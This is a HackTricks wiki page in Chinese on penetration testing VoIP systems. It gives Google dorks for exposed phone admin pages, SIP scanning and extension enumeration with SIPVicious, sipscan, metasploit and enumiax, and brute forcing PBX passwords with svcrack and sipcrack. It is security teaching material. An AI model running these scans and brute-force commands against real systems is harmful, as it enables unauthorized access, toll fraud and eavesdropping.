hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • VoIP基本信息
  • VoIP枚举
  • 电话号码
  • Google Dorks
  • OSINT信息
  • 网络枚举
  • 方法枚举
  • 分机枚举
  • VoIP 攻击
  • 密码暴力破解
  • VoIP 抓包
  • 免费通话 / Asterisks 连接配置错误
  • 免费通话 / Asterisks 上下文错误配置
  • 免费通话 / 配置错误的 IVRS
  • 分机注入
  • SIPDigestLeak
  • 点击通话
  • 窃听
  • RTCPBleed
  • RCE
  • RTP注入
  • DoS
  • 操作系统漏洞
  • 参考资料
  1. Network Services Pentesting

Pentesting VoIP

上一页Pentesting SAP下一页Basic VoIP Protocols

最后更新于1年前

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

  • 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks,请查看!

  • 获取

  • 探索,我们的独家收藏品

  • 加入 💬 或 或 关注我们的Twitter 🐦 。

  • 通过向和 github仓库提交PR来分享您的黑客技巧。

VoIP基本信息

要开始学习VoIP的工作原理,请查看:

VoIP枚举

电话号码

红队可以执行的首要步骤之一是使用OSINT工具、Google搜索或网页抓取搜索可用电话号码以联系公司。

一旦获得电话号码,您可以使用在线服务来识别运营商:

了解运营商是否提供VoIP服务,您可以确定公司是否在使用VoIP...此外,公司可能没有雇用VoIP服务,而是使用PSTN卡将其VoIP PBX连接到传统电话网络。

诸如自动响应或音乐通常表明正在使用VoIP。

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT信息

任何其他有助于识别正在使用的VoIP软件的OSINT枚举对红队都是有帮助的。

网络枚举

  • nmap 能够扫描UDP服务,但由于扫描的UDP服务数量较多,速度很慢,并且可能对这种类型的服务不太准确。

  • svmap 来自SIPVicious (sudo apt install sipvicious):将定位指定网络中的SIP服务。

  • svmap 易于阻止,因为它使用User-Agent friendly-scanner,但您可以修改/usr/share/sipvicious/sipvicious中的代码并进行更改。

# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
  • metasploit:

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

额外网络枚举

PBX也可能会暴露其他网络服务,例如:

  • 69/UDP (TFTP):固件更新

  • 80 (HTTP) / 443 (HTTPS):通过Web管理设备

  • 389 (LDAP):用于存储用户信息的替代方法

  • 3306 (MySQL):MySQL数据库

  • 5038 (Manager):允许从其他平台使用Asterisk

  • 5222 (XMPP):使用Jabber发送消息

  • 5432 (PostgreSQL):PostgreSQL数据库

  • 以及其他...

方法枚举

python3 sipenumerate.py -i 10.10.0.10 -r 5080

分机枚举

在 PBX(私有分支交换)系统中,分机是指分配给组织或企业内部电话线、设备或用户的独特内部标识符。分机使得可以在组织内部有效地路由电话,而无需为每个用户或设备分配单独的外部电话号码。

  • svwar 来自 SIPVicious(sudo apt install sipvicious):svwar 是一个免费的 SIP PBX 分机扫描工具。在概念上,它类似于传统的拨号扫描器,通过猜测一系列分机或给定的分机列表来工作。

svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
  • metasploit: 您还可以使用metasploit枚举扩展名/用户名:

auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)
  • enumiax (apt install enumiax): enumIAX 是一种用于 Inter Asterisk Exchange 协议的用户名暴力破解枚举器。enumIAX 可以以两种不同的模式运行;顺序用户名猜测或字典攻击。

enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP 攻击

密码暴力破解

在发现了 PBX 和一些 分机号/用户名 后,红队可以尝试使用常见密码字典对一个分机号进行 REGISTER 方法认证,以进行身份验证的暴力破解。

请注意,用户名 可能与分机号相同,但这种做法可能会因 PBX 系统、其配置和组织偏好而有所不同...

如果用户名与分机号不同,您将需要 找出用户名以进行暴力破解。

  • svcrack 来自 SIPVicious (sudo apt install sipvicious):SVCrack 允许您对 PBX 上特定用户名/分机号的密码进行破解。

svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
  • Metasploit:

VoIP 抓包

在网络信息中,你可以找到用于管理设备的web凭据,用户分机,用户名,IP地址,甚至哈希密码和RTP数据包,你可以重现这些数据包以听取对话,等等。

请注意,如果SIP通信中使用了TLS,你将无法清楚地看到 SIP 通信。 如果使用了SRTP和ZRTP,RTP数据包将不会以明文形式显示。

SIP 凭据

  • sipdump 和 sipcrack, 是 sipcrack 的一部分(apt-get install sipcrack):这些工具可以从 pcap 中提取 SIP 协议中的摘要认证,并对其进行暴力破解。

sipdump -p net-capture.pcap sip-creds.txt
